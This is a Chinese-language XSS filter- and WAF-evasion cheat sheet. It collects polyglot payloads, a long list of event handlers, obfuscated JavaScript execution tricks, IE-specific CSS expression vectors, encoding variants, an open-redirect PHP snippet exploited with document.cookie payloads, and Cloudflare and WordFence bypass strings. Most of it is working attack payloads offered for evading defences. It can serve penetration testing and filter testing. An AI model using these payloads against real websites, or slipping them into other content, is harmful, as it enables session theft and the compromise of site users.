XSS 逃逸大全
这份清单列出了一系列可用于绕过某些XSS防御性过滤器的攻击payload。当过滤的XSS不完全时,可以使用这些测试来进行。
通用攻击payload
下面是“测试XSS通用有效payload”。此测试将在多个上下文中执行,包括html、脚本字符串、js和url。感谢@Gareth Heyes的贡献。
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
XSS逃逸技术
从四个方面进行逃逸,包括编码混淆,敏感单词替换,位置形态替换,特殊字符添加。
如图是常见XSS攻击向量结构示意图,包括tag、属性表达式、事件表达式、内容和其他组件。基于该语法根据环境可构造相关fuzz语句,常见有
- 在事件之前添加赋值表达式
- 使用top函数修改警告函数
- 在
label
的末尾添加一个随机字符串 - 在样本的末尾添加一个随机字符串
- 通用任何字符的事件替换标记
- 在函数和参数之间添加注释
- 在函数之前添加一个计算表达式
- 替换括号
- 替换空间
- 替换事件
- 在事件之后添加空白字符
- 随机转换标签和事件字符单词的大小写字母
- 属性表达式和事件表达式位置转换
- Unicode编码
- HTML实体编码
常规的XSS语句经常被检测软件杀死,但是这些操作空间提供了逃避XSS攻击的方法。这些操作空间将被代理用来修改XSS代码,可以生成有效的XSS有效负载。
Example
Polyglot XSS
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
可控制的事件
<a onmouseover="alert(1)"> xxs链接</a>
chrome会自动更正丢失的引号,下列也是可以的
<a onmouseover=alert(1)> xxs链接</a>
也适用于Form,Iframe,Input,Embed等元素的任何HTML标记类型注入。它还允许替换标记类型的任何相关事件,如onblur,onclick为您提供广泛的此处列出的许多注射量的变化量。
处理事件
这是在撰写本文时,全网最全面版本,感谢@Rene Ledosquet 的更新。
FSCommand()
(攻击者可以在嵌入式Flash对象中执行时使用此功能)onAbort()
(当用户中止加载图像时)onActivate()
(当对象设置为活动元素时)onAfterPrint()
(在用户打印或预览打印作业后激活)onAfterUpdate()
(在更新源对象中的数据后激活数据对象)onBeforeActivate()
(在将对象设置为活动元素之前触发)onBeforeCopy()
(攻击者在选择复制到剪贴板之前执行攻击字符串 - 攻击者可以使用该execCommand("Copy")
功能执行此操作)onBeforeCut()
(攻击者在切换选择之前执行攻击字符串)onBeforeDeactivate()
(从当前对象更改activeElement后立即触发)onBeforeEditFocus()
(在可编辑元素中包含的对象进入UI激活状态或选择可编辑容器对象时触发)onBeforePaste()
(用户需要被欺骗粘贴或使用该execCommand("Paste")
功能强制进入)onBeforePrint()
(用户需要被欺骗打印或攻击者可以使用print()
或execCommand("Print")
功能)。onBeforeUnload()
(用户需要被欺骗关闭浏览器 - 攻击者无法卸载窗口,除非它是从父级生成的)onBeforeUpdate()
(在更新源对象中的数据之前激活数据对象)onBegin()
(当元素的时间轴开始时,onbegin事件立即触发)onBlur()
(在加载另一个弹出窗口且窗口失去焦点的情况下)onBounce()
(当marquee对象的behavior属性设置为“alternate”并且选取框的内容到达窗口的一侧时触发)onCellChange()
(数据提供者中的数据更改时触发)onChange()
(select,text或TEXTAREA字段失去焦点,其值已被修改)onClick()
(有人点击表格)onContextMenu()
(用户需要右键点击攻击区域)onControlSelect()
(当用户即将对对象进行控制选择时触发)onCopy()
(用户需要复制某些东西或者可以使用该execCommand("Copy")
命令来利用它)onCut()
(用户需要复制某些东西或者可以使用该execCommand("Cut")
命令来利用它)onDataAvailable()
(用户需要更改元素中的数据,否则攻击者可以执行相同的功能)onDataSetChanged()
(当数据源对象公开的数据集发生更改时触发)onDataSetComplete()
(触发表示所有数据都可从数据源对象获得)onDblClick()
(用户双击表单元素或链接)onDeactivate()
(当activeElement从当前对象更改为父文档中的另一个对象时触发)onDrag()
(要求用户拖动对象)onDragEnd()
(要求用户拖动对象)onDragLeave()
(要求用户将对象拖出有效位置)onDragEnter()
(要求用户将对象拖动到有效位置)onDragOver()
(要求用户将对象拖动到有效位置)onDragDrop()
(用户将对象(例如文件)放到浏览器窗口中)onDragStart()
(当用户开始拖动操作时发生)onDrop()
(用户将对象(例如文件)放到浏览器窗口中)onEnd()
(当时间线结束时,onEnd事件将触发。onError()
(加载文档或图像会导致错误)onErrorUpdate()
(在更新数据源对象中的关联数据时发生错误时在数据绑定对象上触发)onFilterChange()
(当可视过滤器完成状态更改时触发)onFinish()
(当marquee完成循环时,攻击者可以创建漏洞)onFocus()
(攻击者在窗口获得焦点时执行攻击字符串)onFocusIn()
(攻击者在窗口获得焦点时执行攻击字符串)onFocusOut()
(当窗口失去焦点时,攻击者执行攻击字符串)onHashChange()
(当文档当前地址的片段标识符部分发生更改时触发)onHelp()
(攻击者在窗口聚焦时用户点击F1时执行攻击字符串)onInput()
(通过用户界面更改元素的文本内容)onKeyDown()
(用户按下一个键)onKeyPress()
(用户按下或按住键)onKeyUp()
(用户发布密钥)onLayoutComplete()
(用户必须打印或打印预览)onLoad()
(攻击者在窗口加载后执行攻击字符串)onLoseCapture()
(可以通过该releaseCapture()
方法利用)onMediaComplete()
(当使用流媒体文件时,此事件可能会在文件开始播放之前触发)onMediaError()
(用户在浏览器中打开包含媒体文件的页面,并在出现问题时触发事件)onMessage()
(文件收到消息时开火)onMouseDown()
(攻击者需要让用户点击图像)onMouseEnter()
(光标在对象或区域上移动)onMouseLeave()
(攻击者需要让用户将鼠标悬停在图像或表格上然后再关闭)onMouseMove()
(攻击者需要让用户将鼠标悬停在图像或表格上)onMouseOut()
(攻击者需要让用户将鼠标悬停在图像或表格上然后再关闭)onMouseOver()
(光标在对象或区域上移动)onMouseUp()
(攻击者需要让用户点击图像)onMouseWheel()
(攻击者需要让用户使用他们的鼠标滚轮)onMove()
(用户或攻击者会移动页面)onMoveEnd()
(用户或攻击者会移动页面)onMoveStart()
(用户或攻击者会移动页面)onOffline()
(如果浏览器在在线模式下工作并且它开始脱机工作,则会出现)onOnline()
(如果浏览器在离线模式下工作并且它开始在线工作,则会发生)onOutOfSync()
(中断元素播放时间轴定义的媒体的能力)onPaste()
(用户需要粘贴或攻击者可以使用该execCommand("Paste")
功能)onPause()
(onpause事件触发时间线暂停时活动的每个元素,包括body元素)onPopState()
(用户导航会话历史记录时触发)onProgress()
(攻击者会使用此作为flash电影加载)onPropertyChange()
(用户或攻击者需要更改元素属性)onReadyStateChange()
(用户或攻击者需要更改元素属性)onRedo()
(用户在撤消事务历史记录中前进)onRepeat()
(每次重复时间线时,事件都会触发一次,不包括第一个完整周期)onReset()
(用户或攻击者重置表单)onResize()
(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeEnd()
(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeStart()
(用户将调整窗口的大小,攻击者就可以自动与像初始化:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResume()
(onresume事件触发时间线恢复时变为活动的每个元素,包括body元素)onReverse()
(如果元素的repeatCount大于1,则每次时间轴开始向后播放时都会触发此事件)onRowsEnter()
(用户或攻击者需要更改数据源中的行)onRowExit()
(用户或攻击者需要更改数据源中的行)onRowDelete()
(用户或攻击者需要删除数据源中的行)onRowInserted()
(用户或攻击者需要在数据源中插入一行)onScroll()
(用户需要滚动,否则攻击者可以使用该scrollBy()
功能)onSeek()
(当时间轴设置为向前以外的任何方向播放时,onreverse事件将触发)onSelect()
(用户需要选择一些文本-攻击者就可以自动与像初始化:window.document.execCommand("SelectAll");
)onSelectionChange()
(用户需要选择一些文本-攻击者就可以自动与像初始化:window.document.execCommand("SelectAll");
)onSelectStart()
(用户需要选择一些文本-攻击者就可以自动与像初始化:window.document.execCommand("SelectAll");
)onStart()
(在每个选框循环的开头触发)onStop()
(用户需要按停止按钮或离开网页)onStorage()
(存储区域改变了)onSyncRestored()
(用户中断元素播放其播放时间轴所定义的媒体的能力)onSubmit()
(要求攻击者或用户提交表单)onTimeError()
(用户或攻击者将时间属性(如dur)设置为无效值)onTrackChange()
(用户或攻击者更改播放列表中的曲目)onUndo()
(用户在撤消事务历史记录中后退)onUnload()
(当用户点击任何链接或按下后退按钮或攻击者强制点击时)onURLFlip()
(当由HTML + TIME(定时交互式多媒体扩展)媒体标记播放的高级流格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,此事件将触发)seekSegmentTime()
(这是一种在元素的段时间线上定位指定点并从该点开始播放的方法。该段包含一次重复的时间线,包括使用AUTOREVERSE属性进行反向播放。)
错误格式的IMG标签
一些渲染引擎会很宽松的解析标签内的内容。最初这么设计可能只是为了纠正一些编码错误。
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode
如果不允许任何类型的引号,您可以在JavaScript中使用fromCharCode eval()
来创建所需的任何XSS向量
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
十进制html编码
<img src=x onerror="javascript:alert('XSS')">
Input XSS
<input name="address" value="1" autofocus="autofocus" onfocus="alert`1`" type="text">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
XSS FOR HTML5
<body onload=alert(/XSS/.source)>
<iframe onload=alert("xss");></iframe>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`"> // 使用open属性触发ontoggle事件,无需用户去触发
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
Javascript代码逃逸
ECMAScript6
Set.constructor('alert()')()
Object.constructorr===Function
又
Function("alert(1)")()
new Function("alert(1)")();
对应替换上述即可
"...".substr.constructor("alert(1)")()
这里"..."是一个任意字符串,也可以为空,然后"...".substr就是一个Object,所以这代码和上面是等效的
然后对字符串进行变形,任意字符串js中都可以写成+ASCII码的8位形式,也就是查询到字母的ASCII码然后将其转换为8进制时候的结果。
"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
也可以这样。
new Function("alert(1)")();
等价于
[].constructor.constructor('alert(1)')()
等价于
[]['constructor']['constructor']('alert(1)')()
赋值个变量,缩短下代码,等价于
[][$='constructor'][$]('alert(1)')()
然后替换下所有字符串,等价于
[][$='\143\157\156\163\164\162\165\143\164\157\162'][$]('\141\154\145\162\164(1)')()
反引号复仇
console.log`alert\x28document.cookie\x29` // --> ["alert(document.cookie)"]
setTimeout`alert\x28document.cookie\x29` // --> 弹窗一次
setTimeout`alert\x28document.cookie\x29${1000}` // --> 延迟 1s 后弹窗一次,1000 可以当作 setTimeout 的第二个参数 millisec 延时执行时间来使用...
setTimeout`alert\x28document.cookie\x29${1000}alert\x28document.cookie\x29` // --> 延迟 1s 后弹窗两次
为什么使用不了
alert`$(document.cookie)`
更多alert
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
针对 IE渲染引擎
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
expression表达式+注释
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
US-ASCII编码
US-ASCII编码(由Kurt Huwig发现)。这使用7位而不是8位的格式错误的ASCII编码。此XSS可能绕过许多内容过滤器,但只有在主机以US-ASCII编码进行传输或者您自己设置编码时才有效。这对于Web应用程序防火墙跨站点脚本规避来说比服务器端过滤器规避更有用。Apache Tomcat是唯一以US-ASCII编码传输的已知服务器。
¼script¾alert(¢XSS¢)¼/script¾
META数据
指令URL方案。这很好,因为它也没有任何明显的单词SCRIPT或JavaScript指令,因为它使用base64编码。有关更多详细信息,请参阅RFC 2397,或者在此处或此处对您自己进行编码。如果您只想对原始HTML或JavaScript进行编码,您也可以使用下面的XSS 计算器,因为它具有Base64编码方法:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
带有url参数
如果目标网站在开始时尝试查看URL是否包含“http://”,您可以使用以下技术来逃避它(由Moritz Naumann提交)
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
字符转义序列
HTML和JavaScript中字符“<”的所有可能组合。其中大部分都不会开箱即用,但如上所述,其中许多都可以在某些情况下渲染。
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
重定向XSS
漏洞代码
header('Location: '.$_GET['param']);
访问
/?param=javascript:alert(document.cookie)
或
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF ByPass FUZZ
Common WAF Bypass
Cloudflare
2019-7
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
2019-3
<svg/onload=alert()//
Chrome Auditor 2018-8
</script><svg><script>alert(1)-%26apos%3B
WordFence WAF Bypass
<a href=javascript:alert(1) >a</a>
猥琐流的利用方式
- 部分网站会根据用户提交的url去解析
title
,title中插入xss代码
XSS 适用场景下的编码问题
浏览器的解码规则如下
HTML解析器
HTML中有五类元素:
- 空元素(Void elements),如
<area>
,<br>
,<base>
等等 - 原始文本元素(Raw text elements),有
<script>
和<style>
- RCDATA元素(RCDATA elements),有
<textarea>
和<title>
- 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
- 基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下:
- 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
- 原始文本元素,可以容纳文本。
- RCDATA元素,可以容纳文本和字符引用。
- 在
RCDATA
元素标签的内容中(例如<textarea>
或<title>
的内容中),唯一能够被解析器认做是标签的就是</textarea>
或者</title>
。在<textarea>
和<title>
的内容中不会创建标签,不会有脚本执行。 - 原理:HTML状态机可容纳
RCDATA
状态中的字符引用,这意味着在<textarea>
和<title>
标签中的字符引用会被HTML解析器解码,对RCDATA
有个特殊的情况。在浏览器解析RCDATA
元素的过程中,解析器会进入“RCDATA状态”
。在这个状态中,如果遇到<
字符,它会转换到RCDATA小于号状态。如果<
字符后没有紧跟着/
和对应的标签名,解析器会转换回RCDATA状态
。
- 在
- 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
<script>alert('1')</script>
这样的效果是没用的,因为<sript>
属于是原始文本元素,不会进行html解码,但是<svg><script>alert(1)</script>
就能够弹窗,因为<svg>
遵循xml和svg的定义,在xml中,(
会被解析成(
,在XML中实体会自动转义,除了<![CDATA[和]]>
包含的实体。
- 基本元素,可以容纳文本、字符引用、其他元素和注释
javascript编解码
javascript只能给字符串与标识符
编码。常见编码有Unicode编码
,url编码
,hex编码
,八进制编码
URL编解码
在a标签中,只有当明确的协议被定义时,如javascript:
,http:
才能将后面内容进行url的编码。